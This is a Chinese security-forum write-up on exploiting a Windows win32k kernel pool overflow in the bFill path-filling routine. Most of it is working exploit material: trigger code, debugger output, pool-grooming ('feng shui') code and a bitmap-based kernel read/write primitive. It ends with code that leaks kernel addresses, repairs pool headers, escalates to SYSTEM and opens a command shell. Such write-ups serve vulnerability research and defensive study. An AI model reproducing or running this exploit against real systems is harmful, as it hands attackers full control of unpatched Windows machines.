本文为看雪论坛精华文章
看雪论坛作者ID:yumoqaq
HDC hdc = GetDC(NULL);
HDC hMemDC = CreateCompatibleDC(hdc);
HGDIOBJ bitmap = CreateBitmap(0x60, 0x20, 1, 32, NULL);
HGDIOBJ bitobj = SelectObject(hMemDC, bitmap);
static POINT points[2];
for (int i = 0; i < 2; i++) {
points[i].x = 0x6020;
points[i].y = 0x6020;
}
BeginPath(hMemDC);
for (int j = 0; j < 2; j++)
PolylineTo(hMemDC, points, 2);
EndPath(hMemDC);
FillPath(hMemDC);
win32k!bFill
win32k!bEngFastFillEnum+0xcd
win32k!bPaintPath+0xd4
win32k!EngFastFill+0x97
win32k!EngFillPath+0x12c
win32k!EPATHOBJ::bSimpleFill+0x130
win32k!EPATHOBJ::bStrokeAndOrFill+0x2ff
win32k!NtGdiFillPath+0x8e
nt!KiSystemServiceCopyEnd+0x13
kd> g
Breakpoint 1 hit
win32k!bFill+0x377:
fffff960`00361c77 8d0c40 lea ecx,[rax+rax*2]
kd> r rax
rax=0000000005555557
....
kd> r ecx
ecx = 50
...
kd> !pool fffff90141c2a380
Pool page fffff90141c2a380 region is Paged session pool
*fffff90141c2a370 size: 60 previous size: d0 (Allocated) *Gedg
Pooltag Gedg : GDITAG_EDGE, Binary : win32k!bFill
fffff901`67646547 : nt!ExFreePoolWithTag+0x124f
fffff803`22940c6f : win32k!bFill+0x4f0
kd> dq rcx 第一个参数 EPATHOBJ*
ffffd001`5c2bea90 05555557`00000000 fffff901`41e14ba0
ffffd001`5c2beaa0 00000000`00000000 00000000`00000000
ffffd001`5c2beab0 00000000`00000000 00000000`00000000
ffffd001`5c2beac0 ffffe001`00000000 00000000`00000000
kd> dq rdx 第二个参数 struct EDGE *
ffffd001`5c2bdcb8 fffffa80`008c23e0 ffff3295`00000001
ffffd001`5c2bdcc8 fffff802`5a71c58b ffff3295`593af6a5
ffffd001`5c2bdcd8 00000000`00000000 0000e001`94bdc880
ffffd001`5c2bdce8 0000d001`5c2be240 0000d001`5b68cc00
kd> dq r8 第三个参数 struct EDGE * 这是溢出申请的
fffff901`407bd780 00000000`00000000 00000000`00000000
fffff901`407bd790 fffff901`41c15440 00000000`00000000
fffff901`407bd7a0 00000030`00000000 00000000`0001003b
fffff901`407bd7b0 00000000`00000001 00000000`00000003
kd> dd r9 第四个参数 struct _RECTL *
ffffd001`5c2bdd08 fffffb30 00000000 00000019 00000200
ffffd001`5c2bdd18 5a7386d9 fffff802 5b68cc00 ffffd001
kd> dd rbx L50
fffff901`41c37028 41c3a028 fffff901 00000000 00000000
fffff901`41c37038 00000001 000001f2 00000000 00000000 //rdi指向1f2后边的位置
fffff901`41c37048 00060200 00060200 00060200 00060200
fffff901`41c37058 00060200 00060200 00060200 00060200
fffff901`41c37068 00060200 00060200 00060200 00060200
fffff901`41c37078 00060200 00060200 00060200 00060200
fffff901`41c37088 00060200 00060200 00060200 00060200
fffff901`41c37098 00060200 00060200 00060200 00060200
kd> dq rax-30 //返回值 - 30 正好对应申请的缓冲区
fffff901`407bd780 ffffd001`5c2bdcb8 00000000`00000020
fffff901`407bd790 ffffffff`00000000 00602000`00000000
fffff901`407bd7a0 00000001`00000001 00000000`00000001
fffff901`407bd7b0 00000000`00000001 00000000`00000003
points[i+1].x >= points[i].x 则 buf+0x14 = 0xFFFFFFFF
points[i+1].x < points[i].x 则 buf+0x24 = 0xFFFFFFFF
points[i+1].y < points[i].y 则 buf+0x28 = 0xFFFFFFFF
kd> dq fffff901`407fe028
fffff901`407fe028 fffff901`41c02028 00000000`00000000
fffff901`407fe038 000001f2`00000001 00000000`00000000
fffff901`407fe048 00000010`00000010 00000020`00000020
fffff901`407fe058 00000030`00000030 00000040`00000040
fffff901`407fe068 00000050`00000050 00000060`00000060
fffff901`407fe078 00000070`00000070 00000080`00000080
fffff901`407fe088 00000090`00000090 000000a0`000000a0
fffff901`407fe098 000000b0`000000b0 000000c0`000000c0
kd> dq fffff901`407fe028 + 1F4 * 8
fffff901`407fefc8 00001f10`00001f10
points[0].y = 0x10;
points[1].y = 0x11;
kd> dd fffff901`400c1028
fffff901`400c1028 407da028 fffff901 00000000 00000000
fffff901`400c1038 00000001 000001f2 00000000 00000000
fffff901`400c1048 00060200 00000100 00060200 00000110
bufaddr = fffff90141c464b0
第一次 rax=fffff90141c464e0
第二次 rax=fffff90141c46510
第三次 rax=fffff90141c46540
第四次 rax=fffff90141c46540
第五次 rax=fffff90141c46540
typedef struct {
ULONG64 dhsurf; // 0x00
ULONG64 hsurf; // 0x08
ULONG64 dhpdev; // 0x10
ULONG64 hdev; // 0x18
SIZEL sizlBitmap; // 0x20
ULONG64 cjBits; // 0x28
ULONG64 pvBits; // 0x30
ULONG64 pvScan0; // 0x38
ULONG32 lDelta; // 0x40
ULONG32 iUniq; // 0x44
ULONG32 iBitmapFormat; // 0x48
USHORT iType; // 0x4C
USHORT fjBitmap; // 0x4E
} SURFOBJ64; // sizeof = 0x50
合理布局GDI对象的位置,以达到后续目的。
任何大于 0x808 的分配都将分配到内存页面的开头。后续分配将从页面末尾开始分配。分配需要是相同的池类型,在本例中是分页会话池。
分配对象通常会添加大小为 0x10 的池标头。如果分配的对象是 0x50,实际上会分配 0x60大小的内存。
void fengshui()
{
//申请两千个大小为0xFA0的 bitmap对象
for (int i = 0; i < 2000; i++)
{
bitmaps[i] = CreateBitmap(0xD18, 1, 1, 8, NULL);
}
//填补剩下的0x80的空洞
ACCEL accel[12] = { 0 };
for (int i = 0; i < 2000; i++)
{
hAccel[i] = CreateAcceleratorTableA(accel, 12);
}
//释放0xF80的空间
for (int i = 0; i < 2000; i++) {
DeleteObject(bitmaps[i]);
}
//用一个较大的对象来占坑0xBC0的空间
for (int i = 0; i < 2000; i++) {
CreateEllipticRgn(0x79, 0x79, 1, 1); //size = 0xbc0
}
//重新用bitmap对象占坑0x3C0的空间
for (int i = 0; i < 2000; i++)
{
bitmaps[i] = CreateBitmap(0x158, 1, 1, 8, NULL);
}
//抢占一些0x60大小的空间
ACCEL accel2[7] = { 0 };
for (int i = 0; i < 1000; i++)
{
hAccel2[i] = CreateAcceleratorTableA(accel2, 7);
}
//释放一些0x80大小的ACCEL对象留下空洞
for (int i = 1000; i < 1500; i++) {
DestroyAcceleratorTable(hAccel[i]);
}
}
kd> r rax
rax=fffff90142855fb0
kd> !pool rax
Pool page fffff90142855fb0 region is Paged session pool
fffff90142855000 size: bc0 previous size: 0 (Allocated) Gh14
fffff90142855bc0 size: 3c0 previous size: bc0 (Allocated) Gh15
fffff90142855f80 size: 20 previous size: 3c0 (Free) Free
*fffff90142855fa0 size: 60 previous size: 20 (Allocated) *Gedg
Pooltag Gedg : GDITAG_EDGE, Binary : win32k!bFill
kd> !pool rax+1000
Pool page fffff90142856fb0 region is Paged session pool
fffff90142856000 size: bc0 previous size: 0 (Allocated) Gh14
fffff90142856bc0 size: 3c0 previous size: bc0 (Allocated) Gh15
fffff90142856f80 size: 20 previous size: 3c0 (Free) Free
*fffff90142856fa0 size: 60 previous size: 20 (Free ) *Usha
kd> !pool rax+2000
Pool page fffff90142857fb0 region is Paged session pool
fffff90142857000 size: bc0 previous size: 0 (Allocated) Gh14
fffff90142857bc0 size: 3c0 previous size: bc0 (Allocated) Gh15
*fffff90142857f80 size: 80 previous size: 3c0 (Free) *Usac
typedef struct {
ULONG64 hHmgr;
ULONG32 ulShareCount;
WORD cExclusiveLock;
WORD BaseFlags;
ULONG64 Tid;
} BASEOBJECT64; // sizeof = 0x18
typedef struct {
BASEOBJECT64 BaseObject; // 0x00
SURFOBJ64 SurfObj; // 0x18
[...]
} SURFACE64;
typedef struct {
ULONG64 dhsurf; // 0x00
ULONG64 hsurf; // 0x08
ULONG64 dhpdev; // 0x10
ULONG64 hdev; // 0x18
SIZEL sizlBitmap; // 0x20
ULONG64 cjBits; // 0x28
ULONG64 pvBits; // 0x30
ULONG64 pvScan0; // 0x38
ULONG32 lDelta; // 0x40
ULONG32 iUniq; // 0x44
ULONG32 iBitmapFormat; // 0x48
USHORT iType; // 0x4C
USHORT fjBitmap; // 0x4E
} SURFOBJ64; // sizeof = 0x50
for (int i = 0; i < 0x3FE00; i++) {
points[i].x = 0x6020;
points[i].y = 0x6020;
}
points[2].y = 0x14;
points[0x3FE00].y = 0x5020;
for (int i = 0; i < 0x156; i++)
{
if (i == 0x40)
{
points[2].y = 0x6020;
}
PolylineTo(hMemDC, points, 0x3FE01);
}
kd> dq fffff901716bbfb0+0xC30
fffff901`716bcbe0 fffff901`716bcbb0 00006020`0000000c
fffff901`716bcbf0 ffffffff`00000014 00600c00`00000000
fffff901`716bcc00 00000001`00000000 00000001`ffffffff
fffff901`716bcc10 fffff901`716bcbe0 00006020`0000000c
fffff901`716bcc20 ffffffff`00000014 00600c00`00000000
fffff901`716bcc30 00000001`00000000 00000000`00000001
fffff901`716bcc40 fffff901`716bcc10 00006020`0000000c
fffff901`716bcc50 ffffffff`00000014 00600c00`00000000
if (i == 0x20)
{
points[2].y = 0x6020;
}
kd> dq fffff901715c8bc0+10
fffff901`715c8bd0 00000000`010515dd 00000000`00000000
fffff901`715c8be0 00000000`00000000 00000000`00000000
fffff901`715c8bf0 00000000`010515dd 00000000`00000000
fffff901`715c8c00 00000000`00000000 00000001`00000158
fffff901`715c8c10 00000000`00000158 fffff901`715c8e28
fffff901`715c8c20 fffff901`715c8e28 00001e2d`00000158
fffff901`715c8c30 00010000`00000003 00000000`00000000
fffff901`715c8c40 00000000`04800200 00000000`00000000
kd> dq fffff901715c7fb0 + c30
fffff901`715c8be0 fffff901`715c7fb0 00000000`00000020
fffff901`715c8bf0 ffffffff`00000000 00502000`00000000
fffff901`715c8c00 00000001`00000000 00000001`ffffffff
fffff901`715c8c10 00000000`00000158 fffff901`715c8e28
fffff901`715c8c20 fffff901`715c8e28 00001e2d`00000158
fffff901`715c8c30 00010000`00000003 00000000`00000000
fffff901`715c8c40 00000000`04800200 00000000`00000000
fffff901`715c8c50 00000000`00000000 00000000`00000000
BYTE bitmapdata[0x1000] = { 0 };
for (int i = 0; i < Count; i++)
{
res = GetBitmapBits(bitmaps[i], 0x1000, bitmapdata);
if (res > 0x158)
{
hManager = bitmaps[i];
hWorker = bitmaps[i + 1];
break;
}
}
CreateBitmap(0x54, 1, 1, 32, NULL);
win32k!PDEVOBJ::bAllowShareAccess+0x3
win32k!NEEDGRELOCK::vLock+0x1d
win32k!GreGetBitmapBits+0xf8
win32k!NtGdiGetBitmapBits+0xab
LPVOID xBuf = VirtualAlloc((LPVOID)0x100000000, 0x100, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
memset(xBuf, 1, 0x100);
kd> dq fffff901715c7000 + 2000 //工作位图的页 通过0x40偏移处的数据泄露内核地址
fffff901`715c9000 34316847`23bc0000 3a99d16a`77af8d66
fffff901`715c9010 00000000`0204117e 00000000`00000000
fffff901`715c9020 00000000`00000000 00000000`00000bb0
fffff901`715c9030 00000000`00000000 fffff901`715c9740
fffff901`715c9040 fffff901`715c9040 fffff901`715c9040
fffff901`715c9050 00000000`00000d18 fffff901`715c9268
fffff901`715c9060 00000049`00000730 00000001`00000001
fffff901`715c9070 00000078`00000078 80000000`00000000
kd> dq fffff901`715c9e28 - 258 //下一个位图的pvScan0指针 - 258 就是位图开始的位置
fffff901`715c9bd0 00000000`010515de 00000000`00000000
fffff901`715c9be0 00000000`00000000 00000000`00000000
fffff901`715c9bf0 00000000`010515de 00000000`00000000
fffff901`715c9c00 00000000`00000000 00000001`00000158
fffff901`715c9c10 00000000`00000158 fffff901`715c9e28
fffff901`715c9c20 fffff901`715c9e28 00001e2e`00000158
fffff901`715c9c30 00010000`00000003 00000000`00000000
fffff901`715c9c40 00000000`04800200 00000000`00000000
//修复溢出的pool header
//泄露内核地址
BYTE leakAddr[0x8] = { 0 };
for (int i = 0; i < 8; i++)
{
leakAddr[i] = bitmapdata[0x218 + i];
}
ULONG_PTR kernelAddr = *(ULONG_PTR*)leakAddr;
kernelAddr = kernelAddr & 0xFFFFFFFFFFFFF000LL;
kernelAddr -= 0x1000;
printf("kernelAddr : %p\n", kernelAddr);
for (int i = 0; i < 8; i++)
{
leakAddr[i] = ((char*)&kernelAddr)[i];
}
//恢复区域对象的池头
SetRWAddr(leakAddr);
WriteAddr(&(bitmapdata[0x1D8]),0x10);
//恢复位图对象的池头
kernelAddr += 0xBC0;
printf("kernelAddr : %p\n", kernelAddr);
for (int i = 0; i < 8; i++)
{
leakAddr[i] = ((char*)&kernelAddr)[i];
}
SetRWAddr(leakAddr);
WriteAddr(&(bitmapdata[0xD98]), 0x10);
//一切都没问题 开始提权
ULONG64 psys = GetSystemProcess();
PrivilegeEscalation(psys, GetCurrerntProcess(psys));
//system shell
system("cmd");
看雪ID:yumoqaq
https://bbs.pediy.com/user-home-930159.htm
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!